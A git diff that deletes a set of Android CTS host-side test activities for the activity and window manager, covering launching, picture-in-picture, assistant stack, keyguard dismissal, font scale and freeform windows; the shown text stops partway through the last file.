diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java
deleted file mode 100644
index 7bf847e..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AltLaunchingActivity.java
+++ /dev/null
@@ -1,23 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-/**
- * An additional launching activity used for alternating between two activities.
- */
-public class AltLaunchingActivity extends LaunchingActivity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
deleted file mode 100644
index b6c0667..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AlwaysFocusablePipActivity.java
+++ /dev/null
@@ -1,43 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.graphics.Rect;
-
-public class AlwaysFocusablePipActivity extends Activity {
-
- static void launchAlwaysFocusablePipActivity(Activity caller, boolean newTask) {
- final Intent intent = new Intent(caller, AlwaysFocusablePipActivity.class);
-
- intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK);
- if (newTask) {
- intent.addFlags(FLAG_ACTIVITY_NEW_TASK);
- }
-
- final ActivityOptions options = ActivityOptions.makeBasic();
- options.setLaunchBounds(new Rect(0, 0, 500, 500));
- options.setLaunchStackId(4 /* ActivityManager.StackId.PINNED_STACK_ID */);
- caller.startActivity(intent, options.toBundle());
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java
deleted file mode 100644
index 5ae923e..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AnimationTestActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class AnimationTestActivity extends Activity {
-
- @Override
- protected void onResume() {
- super.onResume();
- overridePendingTransition(R.anim.animation_with_background, -1);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
deleted file mode 100644
index 18f290f..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantActivity.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.content.ComponentName;
-import android.content.Intent;
-import android.os.Bundle;
-
-public class AssistantActivity extends Activity {
-
- // Launches the given activity in onResume
- public static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
- // Finishes this activity in onResume, this happens after EXTRA_LAUNCH_NEW_TASK
- public static final String EXTRA_FINISH_SELF = "finish_self";
- // Attempts to enter picture-in-picture in onResume
- public static final String EXTRA_ENTER_PIP = "enter_pip";
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- // Set the layout
- setContentView(R.layout.assistant);
-
- // Launch the new activity if requested
- if (getIntent().hasExtra(EXTRA_LAUNCH_NEW_TASK)) {
- Intent i = new Intent();
- i.setComponent(new ComponentName(this, getPackageName() + "."
- + getIntent().getStringExtra(EXTRA_LAUNCH_NEW_TASK)));
- i.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_CLEAR_TASK);
- startActivity(i);
- }
-
- // Enter pip if requested
- if (getIntent().hasExtra(EXTRA_ENTER_PIP)) {
- try {
- enterPictureInPictureMode();
- } catch (IllegalStateException e) {
- finish();
- return;
- }
- }
-
- // Finish this activity if requested
- if (getIntent().hasExtra(EXTRA_FINISH_SELF)) {
- finish();
- }
- }
-
- /**
- * Launches a new instance of the AssistantActivity directly into the assistant stack.
- */
- static void launchActivityIntoAssistantStack(Activity caller, Bundle extras) {
- final Intent intent = new Intent(caller, AssistantActivity.class);
- intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
- if (extras != null) {
- intent.putExtras(extras);
- }
-
- final ActivityOptions options = ActivityOptions.makeBasic();
- options.setLaunchStackId(6 /* ActivityManager.StackId.ASSISTANT_STACK_ID */);
- caller.startActivity(intent, options.toBundle());
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
deleted file mode 100644
index 51c2348..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionService.java
+++ /dev/null
@@ -1,64 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.ComponentName;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.service.voice.VoiceInteractionService;
-import android.util.Log;
-
-public class AssistantVoiceInteractionService extends VoiceInteractionService {
-
- private static final String TAG = AssistantVoiceInteractionService.class.getSimpleName();
-
- private boolean mReady;
-
- @Override
- public void onReady() {
- super.onReady();
- mReady = true;
- }
-
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- if (!isActiveService(this, new ComponentName(this, getClass()))) {
- Log.wtf(TAG, "**** Not starting AssistantVoiceInteractionService because" +
- " it is not set as the current voice interaction service");
- stopSelf();
- return START_NOT_STICKY;
- }
- if (mReady) {
- Bundle extras = intent.getExtras() != null ? intent.getExtras() : new Bundle();
- showSession(extras, 0);
- }
- return START_NOT_STICKY;
- }
-
- /**
- * Starts the assistant voice interaction service, which initiates a new session that starts
- * the assistant activity.
- */
- public static void launchAssistantActivity(Context context, Bundle extras) {
- Intent i = new Intent(context, AssistantVoiceInteractionService.class);
- if (extras != null) {
- i.putExtras(extras);
- }
- context.startService(i);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java
deleted file mode 100644
index e711ac4..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/AssistantVoiceInteractionSessionService.java
+++ /dev/null
@@ -1,45 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Intent;
-import android.os.Bundle;
-import android.service.voice.VoiceInteractionSession;
-import android.service.voice.VoiceInteractionSessionService;
-
-public class AssistantVoiceInteractionSessionService extends VoiceInteractionSessionService {
-
- @Override
- public VoiceInteractionSession onNewSession(Bundle args) {
- return new VoiceInteractionSession(this) {
- @Override
- public void onPrepareShow(Bundle args, int showFlags) {
- setUiEnabled(false);
- }
-
- @Override
- public void onShow(Bundle args, int showFlags) {
- Intent i = new Intent(AssistantVoiceInteractionSessionService.this,
- AssistantActivity.class);
- if (args != null) {
- i.putExtras(args);
- }
- startAssistantActivity(i);
- }
- };
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java
deleted file mode 100644
index 38a71f1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomActivity.java
+++ /dev/null
@@ -1,102 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.content.Context;
-import android.os.Bundle;
-import android.util.Log;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.WindowManager;
-
-public class BottomActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = BottomActivity.class.getSimpleName();
-
- private int mStopDelay;
- private View mFloatingWindow;
-
- @Override
- protected String getTag() {
- return TAG;
- }
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- final boolean useWallpaper = getIntent().getBooleanExtra("USE_WALLPAPER", false);
- if (useWallpaper) {
- setTheme(R.style.WallpaperTheme);
- }
- setContentView(R.layout.main);
-
- // Delayed stop is for simulating a case where resume happens before
- // activityStopped() is received by AM, and the transition starts without
- // going through fully stopped state (see b/30255354).
- // If enabled, we stall onStop() of BottomActivity, open TopActivity but make
- // it finish before onStop() ends. This will cause BottomActivity to resume before
- // it notifies AM of activityStopped(). We also add a second window of
- // TYPE_BASE_APPLICATION, so that the transition animation could start earlier.
- // Otherwise the main window has to relayout to visible first and the error won't occur.
- // Note that if the test fails, we shouldn't try to change the app here to make
- // it pass. The test app is artificially made to simulate an failure case, but
- // it's not doing anything wrong.
- mStopDelay = getIntent().getIntExtra("STOP_DELAY", 0);
- if (mStopDelay > 0) {
- LayoutInflater inflater = getLayoutInflater();
- mFloatingWindow = inflater.inflate(R.layout.floating, null);
-
- WindowManager.LayoutParams params = new WindowManager.LayoutParams();
- params.height = WindowManager.LayoutParams.WRAP_CONTENT;
- params.width = WindowManager.LayoutParams.WRAP_CONTENT;
- params.type = WindowManager.LayoutParams.TYPE_BASE_APPLICATION;
- params.setTitle("Floating");
- getWindowManager().addView(mFloatingWindow, params);
- }
- }
-
- @Override
- public void onResume() {
- Log.d(TAG, "onResume() E");
- super.onResume();
-
- if (mStopDelay > 0) {
- // Refresh floating window
- Log.d(TAG, "Scheuling invalidate Floating Window in onResume()");
- mFloatingWindow.invalidate();
- }
-
- Log.d(TAG, "onResume() X");
- }
-
- @Override
- protected void onStop() {
- super.onStop();
-
- if (mStopDelay > 0) {
- try {
- Log.d(TAG, "Stalling onStop() by " + mStopDelay + " ms...");
- Thread.sleep(mStopDelay);
- } catch(InterruptedException e) {}
-
- // Refresh floating window
- Log.d(TAG, "Scheuling invalidate Floating Window in onStop()");
- mFloatingWindow.invalidate();
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java
deleted file mode 100644
index 8de1cda..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomLeftLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class BottomLeftLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java
deleted file mode 100644
index 24fa2fc..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BottomRightLayoutActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class BottomRightLayoutActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
deleted file mode 100644
index 24be43a..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/BroadcastReceiverActivity.java
+++ /dev/null
@@ -1,86 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.view.WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.server.cts.tools.ActivityLauncher;
-import android.util.Log;
-
-/**
- * Activity that registers broadcast receiver .
- */
-public class BroadcastReceiverActivity extends Activity {
-
- public static final String ACTION_TRIGGER_BROADCAST = "trigger_broadcast";
- private static final String TAG = BroadcastReceiverActivity.class.getSimpleName();
-
- private TestBroadcastReceiver mBroadcastReceiver = new TestBroadcastReceiver();
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
-
- IntentFilter broadcastFilter = new IntentFilter(ACTION_TRIGGER_BROADCAST);
-
- registerReceiver(mBroadcastReceiver, broadcastFilter);
- }
-
- @Override
- protected void onDestroy() {
- super.onDestroy();
-
- unregisterReceiver(mBroadcastReceiver);
- }
-
- public class TestBroadcastReceiver extends BroadcastReceiver {
- @Override
- public void onReceive(Context context, Intent intent) {
- final Bundle extras = intent.getExtras();
- Log.i(TAG, "onReceive: extras=" + extras);
-
- if (extras == null) {
- return;
- }
- if (extras.getBoolean("finish")) {
- finish();
- }
- if (extras.getBoolean("moveToBack")) {
- moveTaskToBack(true);
- }
- if (extras.containsKey("orientation")) {
- setRequestedOrientation(extras.getInt("orientation"));
- }
- if (extras.getBoolean("dismissKeyguard")) {
- getWindow().addFlags(FLAG_DISMISS_KEYGUARD);
- }
- if (extras.getBoolean("dismissKeyguardMethod")) {
- getSystemService(KeyguardManager.class).requestDismissKeyguard(
- BroadcastReceiverActivity.this, new KeyguardDismissLoggerCallback(context));
- }
-
- ActivityLauncher.launchActivityFromExtras(BroadcastReceiverActivity.this, extras);
- }
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java
deleted file mode 100644
index 139c648..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DialogWhenLargeActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-/**
- * Activity with DialogWhenLarge Theme.
- */
-public class DialogWhenLargeActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = DialogWhenLargeActivity.class.getSimpleName();
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java
deleted file mode 100644
index 726a756..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardActivity.java
+++ /dev/null
@@ -1,30 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-import android.view.WindowManager;
-
-public class DismissKeyguardActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD);
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java
deleted file mode 100644
index c833eb2..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DismissKeyguardMethodActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-import android.app.KeyguardManager;
-import android.os.Bundle;
-
-public class DismissKeyguardMethodActivity extends Activity {
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- getSystemService(KeyguardManager.class).requestDismissKeyguard(this,
- new KeyguardDismissLoggerCallback(this));
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java
deleted file mode 100644
index 007df5f..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/DockedActivity.java
+++ /dev/null
@@ -1,22 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.server.cts;
-
-import android.app.Activity;
-
-public class DockedActivity extends Activity {
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java
deleted file mode 100644
index d64b930..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FinishableActivity.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.BroadcastReceiver;
-import android.os.Bundle;
-
-/**
- * This activity finishes when you send a broadcast with the following action from adb shell
- * am broadcast -a 'android.server.cts.FinishableActivity.finish'
- */
-public class FinishableActivity extends AbstractLifecycleLogActivity {
-
- private static final String TAG = FinishableActivity.class.getSimpleName();
- private static final String ACTION_FINISH = "android.server.cts.FinishableActivity.finish";
-
- private BroadcastReceiver mReceiver = new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- if (intent != null && intent.getAction().equals(ACTION_FINISH)) {
- finish();
- }
- }
- };
-
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- IntentFilter intentFilter = new IntentFilter(ACTION_FINISH);
- registerReceiver(mReceiver, intentFilter);
- }
-
- @Override
- protected void onDestroy() {
- unregisterReceiver(mReceiver);
- super.onDestroy();
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java
deleted file mode 100644
index a5620c1..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleActivity.java
+++ /dev/null
@@ -1,70 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy
- * of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations
- * under the License.
- */
-package android.server.cts;
-
-import android.content.res.Configuration;
-import android.content.res.TypedArray;
-import android.content.res.XmlResourceParser;
-import android.os.Bundle;
-import android.util.AttributeSet;
-import android.util.Log;
-import android.util.Xml;
-
-import org.xmlpull.v1.XmlPullParser;
-import org.xmlpull.v1.XmlPullParserException;
-
-import java.io.IOException;
-
-public class FontScaleActivity extends AbstractLifecycleLogActivity {
- private static final String TAG = FontScaleActivity.class.getSimpleName();
-
- @Override
- protected void onCreate(Bundle icicle) {
- super.onCreate(icicle);
- dumpFontSize();
- }
-
- // We're basically ensuring that no matter what happens to the resources underneath the
- // Activity, any TypedArrays obtained from the pool have the correct DisplayMetrics.
- protected void dumpFontSize() {
- try (XmlResourceParser parser = getResources().getXml(R.layout.font_scale)) {
- //noinspection StatementWithEmptyBody
- while (parser.next() != XmlPullParser.START_TAG) { }
-
- final AttributeSet attrs = Xml.asAttributeSet(parser);
- TypedArray ta = getTheme().obtainStyledAttributes(attrs,
- new int[] { android.R.attr.textSize }, 0, 0);
- try {
- final int fontPixelSize = ta.getDimensionPixelSize(0, -1);
- if (fontPixelSize == -1) {
- throw new AssertionError("android:attr/textSize not found");
- }
-
- Log.i(getTag(), "fontPixelSize=" + fontPixelSize);
- } finally {
- ta.recycle();
- }
- } catch (XmlPullParserException | IOException e) {
- throw new RuntimeException(e);
- }
- }
-
- @Override
- protected String getTag() {
- return TAG;
- }
-
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java
deleted file mode 100644
index 8789f68..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FontScaleNoRelaunchActivity.java
+++ /dev/null
@@ -1,31 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License"); you may not
- * use this file except in compliance with the License. You may obtain a copy
- * of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
- * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
- * License for the specific language governing permissions and limitations
- * under the License.
- */
-package android.server.cts;
-
-import android.content.res.Configuration;
-
-public class FontScaleNoRelaunchActivity extends FontScaleActivity {
- @Override
- public void onConfigurationChanged(Configuration newConfig) {
- super.onConfigurationChanged(newConfig);
- dumpFontSize();
- }
-
- @Override
- protected String getTag() {
- return FontScaleNoRelaunchActivity.class.getSimpleName();
- }
-}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java b/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java
deleted file mode 100644
index f8c6d0c..0000000
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/FreeformActivity.java
+++ /dev/null
@@ -1,39 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.server.cts;
-
-import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
-import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
-
-import android.app.Activity;
-import android.app.ActivityOptions;
-import android.content.Intent;
-import android.graphics.Rect;
-
-public class FreeformActivity extends Activity {
-
- @Override
- public void onResume() {
- super.onResume();
- final Intent intent = new Intent(this, TestActivity.class);
- intent.setFlags(FLAG_ACTIVITY_CLEAR_TASK | FLAG_ACTIVITY_NEW_TASK);
-
